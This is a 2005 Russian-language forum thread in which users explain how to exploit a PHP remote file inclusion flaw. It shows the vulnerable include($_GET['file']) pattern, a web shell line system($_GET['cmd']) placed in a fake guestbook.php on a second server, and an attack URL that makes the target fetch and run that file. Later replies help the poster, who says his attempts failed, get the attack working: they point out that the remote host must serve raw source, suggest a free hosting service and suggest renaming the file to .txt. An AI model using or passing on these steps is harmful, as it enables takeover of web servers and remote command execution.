Include-баг
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
Include-баг - 2005-04-04 02:46:49
|
|
|
cybermind
Сообщений: 805
Оценки: 0
Присоединился: 2004-05-24 20:16:13
|
Народ, объясните насчёт инклуд-бага, я кое-чего не понимаю..
Вот, допустим есть бажный скрипт со строкой include($_GET[''file'']); Типа скрипту передаётся файл, который нужно выполнить. Например, так:
www.site1.ru/index.phtml?file=guestbook.php
И тогда, чтоб стать батькой на сайте мы создаём на другом серваке свой guestbook.php со строкой system($_GET[''cmd'']);, а затем пишем:
www.site1.ru/index.phtml?file=http://site2.ru/guestbook.php
Теперь цитирую статью на phpclub.ru: "сервер выполнит HTTP-запрос, скачает страницу, и запишет в переменную как из обычного файла"
Вопрос: каким боком site2.ru даст site1.ru исходники моего guesbook.php???
|
|
|
Include-баг - 2005-04-04 09:29:25
|
|
|
deZZineSS
Сообщений: 73
Оценки: 0
Присоединился: 2004-08-24 21:32:20
|
include($_GET['file']); <—— Вот таким =)))
|
|
|
Include-баг - 2005-04-04 09:39:40
|
|
|
Lex_Voodoo
Сообщений: 7328
Оценки: 0
Присоединился: 2004-12-07 13:55:12
|
Потому, что если в include($file) $file будет начинаться с "http://", то будет инклуд с внешнего сервера. То есть, ты подставляешь вместо guestbook.php свой http://site2.ru/guestbook.php и скрипт его инклудит. Как ты понимаешь, на site2.ru должна быть отключена интерпретация php, иначе ничего не выйдет.
|
|
|
Include-баг - 2005-04-04 15:46:41
|
|
|
cybermind
Сообщений: 805
Оценки: 0
Присоединился: 2004-05-24 20:16:13
|
quote:
—————-<BR>Цитата: Дата:04.04.2005 9:39:40, Автор:Lex_Voodoo :: Как ты понимаешь, на site2.ru должна быть отключена интерпретация php, иначе ничего не выйдет. —————-
Ааа! Понял, почему у меня ничего не получалось… Lex, как всегда, выручил =) А народ.ру сойдёт?
|
|
|
Include-баг - 2005-04-04 16:22:02
|
|
|
Lex_Voodoo
Сообщений: 7328
Оценки: 0
Присоединился: 2004-12-07 13:55:12
|
Ага, думаю, сойдет! Но можно сделать проще - *.php переименовать в *.txt [sm=1.gif]
З.Ы. >> Lex, как всегда, выручил Ну так эта… PHP - моя стихия [sm=9.gif] Рад помочь [sm=sm203.gif]
|
|
|
|
|